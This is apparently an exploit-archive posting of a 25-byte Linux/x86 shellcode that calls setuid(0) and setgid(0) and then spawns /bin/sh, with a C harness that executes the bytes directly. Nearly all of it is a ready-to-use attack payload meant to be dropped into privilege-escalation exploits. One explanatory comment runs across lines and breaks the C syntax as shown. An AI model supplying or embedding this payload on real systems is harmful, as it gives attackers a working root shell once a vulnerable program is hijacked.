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Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh,[/bin/sh,NULL])) Shellcode (25 bytes)
[#include <stdio.h>
const char shellcode[]=
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x2e" // mov $0x2e,%al
"\xcd\x80" // int $0x80
"\xb0\x0b" // mov $0xb,%al (So you'll get segfault if it's not able to
do the setuid(0). If you don't want this you can write "\x6a\x0b\x58"
instead of "\xb0\x0b", but the shellcode will be 1 byte longer
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main()
{
printf ("\n[+] Linux/x86 setuid(0), setgid(0) &
execve(/bin/sh,[/bin/sh,NULL])"
"\n[+] Date: 23/06/2009"
"\n[+] Author: TheWorm"
"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
# 0day.today [2024-12-24] #